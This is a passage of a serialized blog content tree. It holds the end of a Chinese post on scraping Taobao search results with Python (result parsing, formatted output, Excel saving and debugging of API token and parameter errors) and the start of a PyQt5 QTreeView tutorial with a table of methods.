发货地址\n",{"type":18,"tag":297,"props":40765,"children":40766},{"class":299,"line":4633},[40767],{"type":18,"tag":297,"props":40768,"children":40769},{},[40770],{"type":24,"value":40771},"            count = item['realSales'] # 已购人数\n",{"type":18,"tag":297,"props":40773,"children":40774},{"class":299,"line":4641},[40775],{"type":18,"tag":297,"props":40776,"children":40777},{},[40778],{"type":24,"value":40779},"            title = item['title'] # 商品标题\n",{"type":18,"tag":297,"props":40781,"children":40782},{"class":299,"line":4650},[40783],{"type":18,"tag":297,"props":40784,"children":40785},{},[40786],{"type":24,"value":40787},"            title = re.sub(r'\u003C(.*?)>',' ', title)\n",{"type":18,"tag":297,"props":40789,"children":40790},{"class":299,"line":4658},[40791],{"type":18,"tag":297,"props":40792,"children":40793},{},[40794],{"type":24,"value":40795},"            price = item['price'] # 商品价格\n",{"type":18,"tag":297,"props":40797,"children":40798},{"class":299,"line":4681},[40799],{"type":18,"tag":297,"props":40800,"children":40801},{},[40802],{"type":24,"value":40803},"            item_url = item['auctionURL'] # 商品链接\n",{"type":18,"tag":297,"props":40805,"children":40806},{"class":299,"line":4703},[40807],{"type":18,"tag":297,"props":40808,"children":40809},{},[40810],{"type":24,"value":40811},"            if item_url[:2] == '\u002F\u002F': item_url = 'https:' + item_url\n",{"type":18,"tag":297,"props":40813,"children":40814},{"class":299,"line":4711},[40815],{"type":18,"tag":297,"props":40816,"children":40817},{},[40818],{"type":24,"value":40819},"            self.print_format([item_id,title,price,shop_name,local,count,pic_path,item_url])\n",{"type":18,"tag":297,"props":40821,"children":40822},{"class":299,"line":4720},[40823],{"type":18,"tag":297,"props":40824,"children":40825},{},[40826],{"type":24,"value":40827},"            # 添加数据到excel表，数据列表与表头一一对应 此代码并非实际写入磁盘\n",{"type":18,"tag":297,"props":40829,"children":40830},{"class":299,"line":4728},[40831],{"type":18,"tag":297,"props":40832,"children":40833},{},[40834],{"type":24,"value":40835},"            self.ws.append([item_id,title,price,shop_name,local,count,pic_path,item_url])\n",{"type":18,"tag":297,"props":40837,"children":40838},{"class":299,"line":13515},[40839],{"type":18,"tag":297,"props":40840,"children":40841},{},[40842],{"type":24,"value":40843},"        except Exception as e:\n",{"type":18,"tag":297,"props":40845,"children":40846},{"class":299,"line":13553},[40847],{"type":18,"tag":297,"props":40848,"children":40849},{},[40850],{"type":24,"value":40851},"            pass\n",{"type":18,"tag":297,"props":40853,"children":40854},{"class":299,"line":13591},[40855],{"type":18,"tag":297,"props":40856,"children":40857},{},[40858],{"type":24,"value":40859},"    self.wb.save(\"淘宝数据.xlsx\")\n",{"type":18,"tag":297,"props":40861,"children":40862},{"class":299,"line":13624},[40863],{"type":18,"tag":297,"props":40864,"children":40865},{},[40866],{"type":24,"value":40867},"    print(\"数据采集成功，已存入文件 -> 淘宝数据.xlsx\")\n",{"type":18,"tag":337,"props":40869,"children":40871},{"id":40870},"格式化输出方法体设计",[40872],{"type":24,"value":40870},{"type":18,"tag":121,"props":40874,"children":40875},{},[],{"type":18,"tag":34,"props":40877,"children":40878},{},[40879],{"type":24,"value":40880},"格式化输出的方法体将接收一个包含8个元素的列表，然后依次对该类表数据进行展示，代码如下：",{"type":18,"tag":287,"props":40882,"children":40884},{"code":40883,"language":28712,"meta":8,"className":28710,"style":8},"# 格式化输出\ndef print_format(self,lis):\n    \"\"\"\n    格式化输出\n    :param lis: 商品元素列表\n    :return: None\n    \"\"\"\n    print('-'*70)\n    print(f'商 品 id: \\033[1;32m{lis[0]}\\033[0m')\n    print(f'商品标题: \\033[1;37m{lis[1]}\\033[0m')\n    print(f'商品价格: \\033[1;32m{lis[2]}\\033[0m')\n    print(f'店铺名称: \\033[1;33m{lis[3]}\\033[0m')\n    print(f'发货地址: \\033[1;36m{lis[4]}\\033[0m')\n    print(f'销 售 量: \\033[1;35m{lis[5]}\\033[0m')\n    print(f'图片链接: {lis[6]}')\n    print(f'商品链接: {lis[7]}')\n",[40885],{"type":18,"tag":74,"props":40886,"children":40887},{"__ignoreMap":8},[40888,40896,40904,40911,40919,40927,40934,40941,40949,40957,40965,40973,40981,40989,40997,41005],{"type":18,"tag":297,"props":40889,"children":40890},{"class":299,"line":300},[40891],{"type":18,"tag":297,"props":40892,"children":40893},{},[40894],{"type":24,"value":40895},"# 格式化输出\n",{"type":18,"tag":297,"props":40897,"children":40898},{"class":299,"line":657},[40899],{"type":18,"tag":297,"props":40900,"children":40901},{},[40902],{"type":24,"value":40903},"def print_format(self,lis):\n",{"type":18,"tag":297,"props":40905,"children":40906},{"class":299,"line":662},[40907],{"type":18,"tag":297,"props":40908,"children":40909},{},[40910],{"type":24,"value":39824},{"type":18,"tag":297,"props":40912,"children":40913},{"class":299,"line":799},[40914],{"type":18,"tag":297,"props":40915,"children":40916},{},[40917],{"type":24,"value":40918},"    格式化输出\n",{"type":18,"tag":297,"props":40920,"children":40921},{"class":299,"line":808},[40922],{"type":18,"tag":297,"props":40923,"children":40924},{},[40925],{"type":24,"value":40926},"    :param lis: 商品元素列表\n",{"type":18,"tag":297,"props":40928,"children":40929},{"class":299,"line":817},[40930],{"type":18,"tag":297,"props":40931,"children":40932},{},[40933],{"type":24,"value":40676},{"type":18,"tag":297,"props":40935,"children":40936},{"class":299,"line":826},[40937],{"type":18,"tag":297,"props":40938,"children":40939},{},[40940],{"type":24,"value":39824},{"type":18,"tag":297,"props":40942,"children":40943},{"class":299,"line":4524},[40944],{"type":18,"tag":297,"props":40945,"children":40946},{},[40947],{"type":24,"value":40948},"    print('-'*70)\n",{"type":18,"tag":297,"props":40950,"children":40951},{"class":299,"line":4533},[40952],{"type":18,"tag":297,"props":40953,"children":40954},{},[40955],{"type":24,"value":40956},"    print(f'商 品 id: \\033[1;32m{lis[0]}\\033[0m')\n",{"type":18,"tag":297,"props":40958,"children":40959},{"class":299,"line":4546},[40960],{"type":18,"tag":297,"props":40961,"children":40962},{},[40963],{"type":24,"value":40964},"    print(f'商品标题: \\033[1;37m{lis[1]}\\033[0m')\n",{"type":18,"tag":297,"props":40966,"children":40967},{"class":299,"line":4555},[40968],{"type":18,"tag":297,"props":40969,"children":40970},{},[40971],{"type":24,"value":40972},"    print(f'商品价格: \\033[1;32m{lis[2]}\\033[0m')\n",{"type":18,"tag":297,"props":40974,"children":40975},{"class":299,"line":4568},[40976],{"type":18,"tag":297,"props":40977,"children":40978},{},[40979],{"type":24,"value":40980},"    print(f'店铺名称: \\033[1;33m{lis[3]}\\033[0m')\n",{"type":18,"tag":297,"props":40982,"children":40983},{"class":299,"line":4577},[40984],{"type":18,"tag":297,"props":40985,"children":40986},{},[40987],{"type":24,"value":40988},"    print(f'发货地址: \\033[1;36m{lis[4]}\\033[0m')\n",{"type":18,"tag":297,"props":40990,"children":40991},{"class":299,"line":4590},[40992],{"type":18,"tag":297,"props":40993,"children":40994},{},[40995],{"type":24,"value":40996},"    print(f'销 售 量: \\033[1;35m{lis[5]}\\033[0m')\n",{"type":18,"tag":297,"props":40998,"children":40999},{"class":299,"line":4599},[41000],{"type":18,"tag":297,"props":41001,"children":41002},{},[41003],{"type":24,"value":41004},"    print(f'图片链接: {lis[6]}')\n",{"type":18,"tag":297,"props":41006,"children":41007},{"class":299,"line":4607},[41008],{"type":18,"tag":297,"props":41009,"children":41010},{},[41011],{"type":24,"value":41012},"    print(f'商品链接: {lis[7]}')\n",{"type":18,"tag":337,"props":41014,"children":41016},{"id":41015},"实例化对象",[41017],{"type":24,"value":41015},{"type":18,"tag":121,"props":41019,"children":41020},{},[],{"type":18,"tag":34,"props":41022,"children":41023},{},[41024],{"type":24,"value":41025},"实例化对象不用多说，就是构建一个对象，然后对该对象的方法进行调用。",{"type":18,"tag":287,"props":41027,"children":41029},{"code":41028,"language":28712,"meta":8,"className":28710,"style":8},"if __name__ == '__main__':\n    tb = TaobaoSearch()\n    tb.format_and_save_data(tb.push_requests())\n",[41030],{"type":18,"tag":74,"props":41031,"children":41032},{"__ignoreMap":8},[41033,41041,41049],{"type":18,"tag":297,"props":41034,"children":41035},{"class":299,"line":300},[41036],{"type":18,"tag":297,"props":41037,"children":41038},{},[41039],{"type":24,"value":41040},"if __name__ == '__main__':\n",{"type":18,"tag":297,"props":41042,"children":41043},{"class":299,"line":657},[41044],{"type":18,"tag":297,"props":41045,"children":41046},{},[41047],{"type":24,"value":41048},"    tb = TaobaoSearch()\n",{"type":18,"tag":297,"props":41050,"children":41051},{"class":299,"line":662},[41052],{"type":18,"tag":297,"props":41053,"children":41054},{},[41055],{"type":24,"value":41056},"    tb.format_and_save_data(tb.push_requests())\n",{"type":18,"tag":19,"props":41058,"children":41060},{"id":41059},"报错调试及处理",[41061],{"type":24,"value":41059},{"type":18,"tag":34,"props":41063,"children":41064},{},[41065],{"type":24,"value":41066},"上述代码是我的首版代码，满怀激动的点击执行按钮，结果...",{"type":18,"tag":287,"props":41068,"children":41070},{"code":41069},"[2025-11-09 12:24:33] Input 请输入你要获取的商品：键盘\n[2025-11-09 12:24:40] Success 正在提取数据...\nTraceback (most recent call last):\n  File \"D:\\CodeFile\\Program_Code\\CrawlDemo\\淘宝搜索\\TaobaoSearch.py\", line 167, in \u003Cmodule>\n    tb.format_and_save_data(tb.push_requests())\n    ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^\n  File \"D:\\CodeFile\\Program_Code\\CrawlDemo\\淘宝搜索\\TaobaoSearch.py\", line 127, in format_and_save_data\n    productInfo = html_json['data']['itemsArray']\n                  ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^\nKeyError: 'itemsArray'\n",[41071],{"type":18,"tag":74,"props":41072,"children":41073},{"__ignoreMap":8},[41074],{"type":24,"value":41069},{"type":18,"tag":34,"props":41076,"children":41077},{},[41078],{"type":24,"value":41079},"将代码的响应体进行打印发现，我获取到的数据长这样...",{"type":18,"tag":287,"props":41081,"children":41083},{"code":41082},"{\"api\":\"mtop.relationrecommend.wirelessrecommend.recommend\",\"data\":{},\"ret\":[\"FAIL_SYS_TOKEN_EXOIRED::令牌过期\"],\"traceId\":\"2147bf7b17626624457367112e11b6\",\"v\":\"2.0\"}\n",[41084],{"type":18,"tag":74,"props":41085,"children":41086},{"__ignoreMap":8},[41087],{"type":24,"value":41082},{"type":18,"tag":34,"props":41089,"children":41090},{},[41091,41093,41099,41101,41106],{"type":24,"value":41092},"我都没有获取到数据就对数据进行提取，不报错才怪。人在无语是确实会笑。但是为什么会获取不到数据呢？报错内容中显示 ",{"type":18,"tag":74,"props":41094,"children":41096},{"className":41095},[],[41097],{"type":24,"value":41098},"令牌过期",{"type":24,"value":41100},"，难道是我的 ",{"type":18,"tag":74,"props":41102,"children":41104},{"className":41103},[],[41105],{"type":24,"value":39331},{"type":24,"value":41107}," 出了问题，对cookie进行更新后，满怀期待的重新点击执行...",{"type":18,"tag":287,"props":41109,"children":41111},{"code":41110},"[2025-11-09 12:37:20] Input 请输入你要获取的商品：机械键盘\n[2025-11-09 12:37:26] Success 正在提取数据...\nTraceback (most recent call last):\n  File \"D:\\CodeFile\\Program_Code\\CrawlDemo\\淘宝搜索\\TaobaoSearch.py\", line 152, in \u003Cmodule>\n    tb.format_and_save_data(tb.push_requests())\n    ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^\n  File \"D:\\CodeFile\\Program_Code\\CrawlDemo\\淘宝搜索\\TaobaoSearch.py\", line 112, in format_and_save_data\n    productInfo = html_json['data']['itemsArray']\n                  ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^\nKeyError: 'itemsArray'\n",[41112],{"type":18,"tag":74,"props":41113,"children":41114},{"__ignoreMap":8},[41115],{"type":24,"value":41110},{"type":18,"tag":34,"props":41117,"children":41118},{},[41119],{"type":24,"value":41120},"再次将响应体进行打印发现，我的新数据包是这样的...",{"type":18,"tag":287,"props":41122,"children":41124},{"code":41123},"{\"api\":\"mtop.relationrecommend.wirelessrecommend.recommend\",\"data\":{},\"ret\":[\"FAIL_BIZ_PARAM_ERR::valid appId([0]) Failed.\"],\"traceId\":\"2147875917626630447182816e1167\",\"v\":\"2.0\"}\n",[41125],{"type":18,"tag":74,"props":41126,"children":41127},{"__ignoreMap":8},[41128],{"type":24,"value":41123},{"type":18,"tag":34,"props":41130,"children":41131},{},[41132],{"type":24,"value":41133},"我将结果和情景丢给AI，让它帮我分析。",{"type":18,"tag":34,"props":41135,"children":41136},{},[41137],{"type":18,"tag":54,"props":41138,"children":41141},{"alt":41139,"src":41140},"Pasted image 20251110130513","\u002Fimages\u002Fblog\u002Ftaobao-search\u002FPasted%20image%2020251110130513.png",[],{"type":18,"tag":34,"props":41143,"children":41144},{},[41145],{"type":24,"value":41146},"以下是AI给出的问题分析：",{"type":18,"tag":287,"props":41148,"children":41151},{"code":41149,"language":2470,"meta":8,"className":41150,"style":8},"问题分析\n从错误信息看，服务端返回的appId是[0]，这说明：\n - appId参数没有正确传递到服务端\n - 参数格式或编码可能有问题\n - 可能需要其他必需的参数\n \n 解决办法\n  - 更新cookie\n  - 原始代码中params字段JSON字符串转换为一个嵌套的对象结构\n  - 尝试重新分析参数\n","language-deepseek shiki shiki-themes github-dark",[41152],{"type":18,"tag":74,"props":41153,"children":41154},{"__ignoreMap":8},[41155,41163,41171,41179,41187,41195,41203,41211,41219,41227],{"type":18,"tag":297,"props":41156,"children":41157},{"class":299,"line":300},[41158],{"type":18,"tag":297,"props":41159,"children":41160},{},[41161],{"type":24,"value":41162},"问题分析\n",{"type":18,"tag":297,"props":41164,"children":41165},{"class":299,"line":657},[41166],{"type":18,"tag":297,"props":41167,"children":41168},{},[41169],{"type":24,"value":41170},"从错误信息看，服务端返回的appId是[0]，这说明：\n",{"type":18,"tag":297,"props":41172,"children":41173},{"class":299,"line":662},[41174],{"type":18,"tag":297,"props":41175,"children":41176},{},[41177],{"type":24,"value":41178}," - appId参数没有正确传递到服务端\n",{"type":18,"tag":297,"props":41180,"children":41181},{"class":299,"line":799},[41182],{"type":18,"tag":297,"props":41183,"children":41184},{},[41185],{"type":24,"value":41186}," - 参数格式或编码可能有问题\n",{"type":18,"tag":297,"props":41188,"children":41189},{"class":299,"line":808},[41190],{"type":18,"tag":297,"props":41191,"children":41192},{},[41193],{"type":24,"value":41194}," - 可能需要其他必需的参数\n",{"type":18,"tag":297,"props":41196,"children":41197},{"class":299,"line":817},[41198],{"type":18,"tag":297,"props":41199,"children":41200},{},[41201],{"type":24,"value":41202}," \n",{"type":18,"tag":297,"props":41204,"children":41205},{"class":299,"line":826},[41206],{"type":18,"tag":297,"props":41207,"children":41208},{},[41209],{"type":24,"value":41210}," 解决办法\n",{"type":18,"tag":297,"props":41212,"children":41213},{"class":299,"line":4524},[41214],{"type":18,"tag":297,"props":41215,"children":41216},{},[41217],{"type":24,"value":41218},"  - 更新cookie\n",{"type":18,"tag":297,"props":41220,"children":41221},{"class":299,"line":4533},[41222],{"type":18,"tag":297,"props":41223,"children":41224},{},[41225],{"type":24,"value":41226},"  - 原始代码中params字段JSON字符串转换为一个嵌套的对象结构\n",{"type":18,"tag":297,"props":41228,"children":41229},{"class":299,"line":4546},[41230],{"type":18,"tag":297,"props":41231,"children":41232},{},[41233],{"type":24,"value":41234},"  - 尝试重新分析参数\n",{"type":18,"tag":34,"props":41236,"children":41237},{},[41238,41240,41245,41247,41252],{"type":24,"value":41239},"我对 ",{"type":18,"tag":74,"props":41241,"children":41243},{"className":41242},[],[41244],{"type":24,"value":39331},{"type":24,"value":41246}," 进行更新且对参数进行增添后发现，结果任然报错，看来问题就出在了 ",{"type":18,"tag":74,"props":41248,"children":41250},{"className":41249},[],[41251],{"type":24,"value":20232},{"type":24,"value":41253}," 格式或编码，AI给了我一个解决方案：",{"type":18,"tag":287,"props":41255,"children":41257},{"code":41256,"language":28712,"meta":8,"className":28710,"style":8},"# 原始的data参数的构建\ndata = '\"appId\": \"34385\",\"params\": {\"ap...'+self.params+'...\"sort\": \"_coefp\"'\n\n# 更新后的data参数构建\ndata_dict = {\n            \"appId\": \"34385\",\n            \"params\": json.dumps({\n                \"appId\": \"34385\",\n                ...\n                \"q\": self.params,\n                ...\n                \"sort\": \"_coefp\"\n            }, ensure_ascii=False, separators=(',', ':'))\n        }\ndata = json.dumps(data_dict, ensure_ascii=False, separators=(',', ':'))\n",[41258],{"type":18,"tag":74,"props":41259,"children":41260},{"__ignoreMap":8},[41261,41269,41277,41284,41292,41300,41308,41316,41324,41332,41340,41347,41355,41363,41370],{"type":18,"tag":297,"props":41262,"children":41263},{"class":299,"line":300},[41264],{"type":18,"tag":297,"props":41265,"children":41266},{},[41267],{"type":24,"value":41268},"# 原始的data参数的构建\n",{"type":18,"tag":297,"props":41270,"children":41271},{"class":299,"line":657},[41272],{"type":18,"tag":297,"props":41273,"children":41274},{},[41275],{"type":24,"value":41276},"data = '\"appId\": \"34385\",\"params\": {\"ap...'+self.params+'...\"sort\": \"_coefp\"'\n",{"type":18,"tag":297,"props":41278,"children":41279},{"class":299,"line":662},[41280],{"type":18,"tag":297,"props":41281,"children":41282},{"emptyLinePlaceholder":793},[41283],{"type":24,"value":796},{"type":18,"tag":297,"props":41285,"children":41286},{"class":299,"line":799},[41287],{"type":18,"tag":297,"props":41288,"children":41289},{},[41290],{"type":24,"value":41291},"# 更新后的data参数构建\n",{"type":18,"tag":297,"props":41293,"children":41294},{"class":299,"line":808},[41295],{"type":18,"tag":297,"props":41296,"children":41297},{},[41298],{"type":24,"value":41299},"data_dict = {\n",{"type":18,"tag":297,"props":41301,"children":41302},{"class":299,"line":817},[41303],{"type":18,"tag":297,"props":41304,"children":41305},{},[41306],{"type":24,"value":41307},"            \"appId\": \"34385\",\n",{"type":18,"tag":297,"props":41309,"children":41310},{"class":299,"line":826},[41311],{"type":18,"tag":297,"props":41312,"children":41313},{},[41314],{"type":24,"value":41315},"            \"params\": json.dumps({\n",{"type":18,"tag":297,"props":41317,"children":41318},{"class":299,"line":4524},[41319],{"type":18,"tag":297,"props":41320,"children":41321},{},[41322],{"type":24,"value":41323},"                \"appId\": \"34385\",\n",{"type":18,"tag":297,"props":41325,"children":41326},{"class":299,"line":4533},[41327],{"type":18,"tag":297,"props":41328,"children":41329},{},[41330],{"type":24,"value":41331},"                ...\n",{"type":18,"tag":297,"props":41333,"children":41334},{"class":299,"line":4546},[41335],{"type":18,"tag":297,"props":41336,"children":41337},{},[41338],{"type":24,"value":41339},"                \"q\": self.params,\n",{"type":18,"tag":297,"props":41341,"children":41342},{"class":299,"line":4555},[41343],{"type":18,"tag":297,"props":41344,"children":41345},{},[41346],{"type":24,"value":41331},{"type":18,"tag":297,"props":41348,"children":41349},{"class":299,"line":4568},[41350],{"type":18,"tag":297,"props":41351,"children":41352},{},[41353],{"type":24,"value":41354},"                \"sort\": \"_coefp\"\n",{"type":18,"tag":297,"props":41356,"children":41357},{"class":299,"line":4577},[41358],{"type":18,"tag":297,"props":41359,"children":41360},{},[41361],{"type":24,"value":41362},"            }, ensure_ascii=False, separators=(',', ':'))\n",{"type":18,"tag":297,"props":41364,"children":41365},{"class":299,"line":4590},[41366],{"type":18,"tag":297,"props":41367,"children":41368},{},[41369],{"type":24,"value":19492},{"type":18,"tag":297,"props":41371,"children":41372},{"class":299,"line":4599},[41373],{"type":18,"tag":297,"props":41374,"children":41375},{},[41376],{"type":24,"value":41377},"data = json.dumps(data_dict, ensure_ascii=False, separators=(',', ':'))\n",{"type":18,"tag":34,"props":41379,"children":41380},{},[41381],{"type":24,"value":41382},"对源代码进行修改后，再次执行！",{"type":18,"tag":34,"props":41384,"children":41385},{},[41386],{"type":18,"tag":54,"props":41387,"children":41390},{"alt":41388,"src":41389},"Pasted image 20251110131217","\u002Fimages\u002Fblog\u002Ftaobao-search\u002FPasted%20image%2020251110131217.png",[],{"type":18,"tag":34,"props":41392,"children":41393},{},[41394,41396,41401,41403,41408],{"type":24,"value":41395},"功夫不负有心人，终于得偿所愿的获取到了商品数据！这次的数据采集，让我学习了 ",{"type":18,"tag":74,"props":41397,"children":41399},{"className":41398},[],[41400],{"type":24,"value":39032},{"type":24,"value":41402}," 参数的js逆向，学会了使用 ",{"type":18,"tag":74,"props":41404,"children":41406},{"className":41405},[],[41407],{"type":24,"value":40094},{"type":24,"value":41409}," 模块知识来保存采集到的数据，心中成就感满满！",{"type":18,"tag":651,"props":41411,"children":41412},{},[41413],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":41415},[41416,41417,41418,41419],{"id":38884,"depth":657,"text":38884},{"id":38925,"depth":657,"text":38925},{"id":39457,"depth":657,"text":39457},{"id":41059,"depth":657,"text":41059},"content:blog:2025-11-09-taobao-search.md","blog\u002F2025-11-09-taobao-search.md","blog\u002F2025-11-09-taobao-search",{"_path":41424,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":41425,"description":41426,"date":41427,"tags":41428,"body":41431,"_type":672,"_id":44161,"_source":674,"_file":44162,"_stem":44163,"_extension":677},"\u002Fblog\u002F2025-09-02-pyqt5","PyQt5-树控件","PyQt5树控件(QTreeWidget)详解，树形结构数据展示、编辑与操作。","2025-09-02",[28616,41429,41430],"PyQt5","GUI",{"type":15,"children":41432,"toc":44155},[41433,41458,41471,41474,41492,41502,41905,41917,41923,41928,42059,42074,42093,42483,42488,42496,42502,42528,42543,42584,42979,42984,42992,43005,43008,43033,43059,43163,43180,43287,43299,43312,43338,43351,43391,43723,43727,43735,43741,43761,43856,43883,43887,43895,43901,43921,43944,43948,43956,43962,44009,44023,44028,44036,44042,44063,44102,44115,44138,44143,44151],{"type":18,"tag":34,"props":41434,"children":41435},{},[41436,41441,41443,41449,41450,41456],{"type":18,"tag":105,"props":41437,"children":41438},{},[41439],{"type":24,"value":41440},"树控件可以为用户显示节点层次结构",{"type":24,"value":41442},"，而每个节点又可以包含子节点，包含子节点的节点叫父节点，在设计树形结构（如导航菜单等）时，非常方便。PyQt5中提供了两个树控件，分别为",{"type":18,"tag":74,"props":41444,"children":41446},{"className":41445},[],[41447],{"type":24,"value":41448},"TreeView",{"type":24,"value":10315},{"type":18,"tag":74,"props":41451,"children":41453},{"className":41452},[],[41454],{"type":24,"value":41455},"TreeWidget",{"type":24,"value":41457},"，本节将对它们的使用进行详解。",{"type":18,"tag":19,"props":41459,"children":41461},{"id":41460},"_1treeview树视图",[41462,41464,41469],{"type":24,"value":41463},"1  ",{"type":18,"tag":74,"props":41465,"children":41467},{"className":41466},[],[41468],{"type":24,"value":41448},{"type":24,"value":41470},"：树视图",{"type":18,"tag":121,"props":41472,"children":41473},{},[],{"type":18,"tag":34,"props":41475,"children":41476},{},[41477,41482,41484,41490],{"type":18,"tag":74,"props":41478,"children":41480},{"className":41479},[],[41481],{"type":24,"value":41448},{"type":24,"value":41483},"控件对应PyQt5中的",{"type":18,"tag":74,"props":41485,"children":41487},{"className":41486},[],[41488],{"type":24,"value":41489},"QTreeView",{"type":24,"value":41491},"类，它是树控件的基类，在使用时必须为其提供一个模型来与之配合。",{"type":18,"tag":34,"props":41493,"children":41494},{},[41495,41500],{"type":18,"tag":74,"props":41496,"children":41498},{"className":41497},[],[41499],{"type":24,"value":41489},{"type":24,"value":41501},"类的常用方法及说明如表所示。",{"type":18,"tag":431,"props":41503,"children":41504},{},[41505,41527],{"type":18,"tag":435,"props":41506,"children":41507},{},[41508],{"type":18,"tag":439,"props":41509,"children":41510},{},[41511,41519],{"type":18,"tag":443,"props":41512,"children":41513},{},[41514],{"type":18,"tag":105,"props":41515,"children":41516},{},[41517],{"type":24,"value":41518},"方    法",{"type":18,"tag":443,"props":41520,"children":41521},{},[41522],{"type":18,"tag":105,"props":41523,"children":41524},{},[41525],{"type":24,"value":41526},"说    明",{"type":18,"tag":459,"props":41528,"children":41529},{},[41530,41543,41556,41569,41582,41595,41608,41621,41634,41647,41660,41673,41686,41699,41712,41725,41738,41751,41764,41777,41790,41803,41868],{"type":18,"tag":439,"props":41531,"children":41532},{},[41533,41538],{"type":18,"tag":466,"props":41534,"children":41535},{},[41536],{"type":24,"value":41537},"autoExpandDelay()",{"type":18,"tag":466,"props":41539,"children":41540},{},[41541],{"type":24,"value":41542},"获取自动展开节点所需的延时时间",{"type":18,"tag":439,"props":41544,"children":41545},{},[41546,41551],{"type":18,"tag":466,"props":41547,"children":41548},{},[41549],{"type":24,"value":41550},"collapse()",{"type":18,"tag":466,"props":41552,"children":41553},{},[41554],{"type":24,"value":41555},"收缩指定级的节点",{"type":18,"tag":439,"props":41557,"children":41558},{},[41559,41564],{"type":18,"tag":466,"props":41560,"children":41561},{},[41562],{"type":24,"value":41563},"collapseAll()",{"type":18,"tag":466,"props":41565,"children":41566},{},[41567],{"type":24,"value":41568},"收缩所有节点",{"type":18,"tag":439,"props":41570,"children":41571},{},[41572,41577],{"type":18,"tag":466,"props":41573,"children":41574},{},[41575],{"type":24,"value":41576},"expand()",{"type":18,"tag":466,"props":41578,"children":41579},{},[41580],{"type":24,"value":41581},"展开指定级的节点",{"type":18,"tag":439,"props":41583,"children":41584},{},[41585,41590],{"type":18,"tag":466,"props":41586,"children":41587},{},[41588],{"type":24,"value":41589},"expandAll()",{"type":18,"tag":466,"props":41591,"children":41592},{},[41593],{"type":24,"value":41594},"展开所有节点",{"type":18,"tag":439,"props":41596,"children":41597},{},[41598,41603],{"type":18,"tag":466,"props":41599,"children":41600},{},[41601],{"type":24,"value":41602},"header()",{"type":18,"tag":466,"props":41604,"children":41605},{},[41606],{"type":24,"value":41607},"树的头信息，常用的有一个setVisible()方法，用来设置是否显示头",{"type":18,"tag":439,"props":41609,"children":41610},{},[41611,41616],{"type":18,"tag":466,"props":41612,"children":41613},{},[41614],{"type":24,"value":41615},"isHeaderHidder()",{"type":18,"tag":466,"props":41617,"children":41618},{},[41619],{"type":24,"value":41620},"判断是否隐藏头部",{"type":18,"tag":439,"props":41622,"children":41623},{},[41624,41629],{"type":18,"tag":466,"props":41625,"children":41626},{},[41627],{"type":24,"value":41628},"setAutoExpandDelay()",{"type":18,"tag":466,"props":41630,"children":41631},{},[41632],{"type":24,"value":41633},"设置自动展开的延时时间，单位为毫秒，如果值小于0，表示禁用自动展开",{"type":18,"tag":439,"props":41635,"children":41636},{},[41637,41642],{"type":18,"tag":466,"props":41638,"children":41639},{},[41640],{"type":24,"value":41641},"setAlternatingRowColors()",{"type":18,"tag":466,"props":41643,"children":41644},{},[41645],{"type":24,"value":41646},"设置每间隔一行颜色是否一样",{"type":18,"tag":439,"props":41648,"children":41649},{},[41650,41655],{"type":18,"tag":466,"props":41651,"children":41652},{},[41653],{"type":24,"value":41654},"setExpanded()",{"type":18,"tag":466,"props":41656,"children":41657},{},[41658],{"type":24,"value":41659},"根据索引设置是否展开节点",{"type":18,"tag":439,"props":41661,"children":41662},{},[41663,41668],{"type":18,"tag":466,"props":41664,"children":41665},{},[41666],{"type":24,"value":41667},"setHeaderHidden()",{"type":18,"tag":466,"props":41669,"children":41670},{},[41671],{"type":24,"value":41672},"设置是否隐藏头部",{"type":18,"tag":439,"props":41674,"children":41675},{},[41676,41681],{"type":18,"tag":466,"props":41677,"children":41678},{},[41679],{"type":24,"value":41680},"setItemsExpandable()",{"type":18,"tag":466,"props":41682,"children":41683},{},[41684],{"type":24,"value":41685},"设置项是否展开",{"type":18,"tag":439,"props":41687,"children":41688},{},[41689,41694],{"type":18,"tag":466,"props":41690,"children":41691},{},[41692],{"type":24,"value":41693},"setModel()",{"type":18,"tag":466,"props":41695,"children":41696},{},[41697],{"type":24,"value":41698},"设置要显示的数据模型",{"type":18,"tag":439,"props":41700,"children":41701},{},[41702,41707],{"type":18,"tag":466,"props":41703,"children":41704},{},[41705],{"type":24,"value":41706},"setSortingEnabled()",{"type":18,"tag":466,"props":41708,"children":41709},{},[41710],{"type":24,"value":41711},"设置单击头部时是否可以排序",{"type":18,"tag":439,"props":41713,"children":41714},{},[41715,41720],{"type":18,"tag":466,"props":41716,"children":41717},{},[41718],{"type":24,"value":41719},"setVerticalScrollBarPolicy()",{"type":18,"tag":466,"props":41721,"children":41722},{},[41723],{"type":24,"value":41724},"设置是否显示垂直滚动条",{"type":18,"tag":439,"props":41726,"children":41727},{},[41728,41733],{"type":18,"tag":466,"props":41729,"children":41730},{},[41731],{"type":24,"value":41732},"setHorizontalScrollBarPolicy()",{"type":18,"tag":466,"props":41734,"children":41735},{},[41736],{"type":24,"value":41737},"设置是否显示水平滚动条",{"type":18,"tag":439,"props":41739,"children":41740},{},[41741,41746],{"type":18,"tag":466,"props":41742,"children":41743},{},[41744],{"type":24,"value":41745},"setEditTriggers()",{"type":18,"tag":466,"props":41747,"children":41748},{},[41749],{"type":24,"value":41750},"设置默认的编辑触发器",{"type":18,"tag":439,"props":41752,"children":41753},{},[41754,41759],{"type":18,"tag":466,"props":41755,"children":41756},{},[41757],{"type":24,"value":41758},"setExpandsOnDoubleClick()",{"type":18,"tag":466,"props":41760,"children":41761},{},[41762],{"type":24,"value":41763},"设置是否支持双击展开树节点",{"type":18,"tag":439,"props":41765,"children":41766},{},[41767,41772],{"type":18,"tag":466,"props":41768,"children":41769},{},[41770],{"type":24,"value":41771},"setWordWrap()",{"type":18,"tag":466,"props":41773,"children":41774},{},[41775],{"type":24,"value":41776},"设置自动换行",{"type":18,"tag":439,"props":41778,"children":41779},{},[41780,41785],{"type":18,"tag":466,"props":41781,"children":41782},{},[41783],{"type":24,"value":41784},"selectionModel()",{"type":18,"tag":466,"props":41786,"children":41787},{},[41788],{"type":24,"value":41789},"获取选中的模型",{"type":18,"tag":439,"props":41791,"children":41792},{},[41793,41798],{"type":18,"tag":466,"props":41794,"children":41795},{},[41796],{"type":24,"value":41797},"sortByColumn()",{"type":18,"tag":466,"props":41799,"children":41800},{},[41801],{"type":24,"value":41802},"根据列排序",{"type":18,"tag":4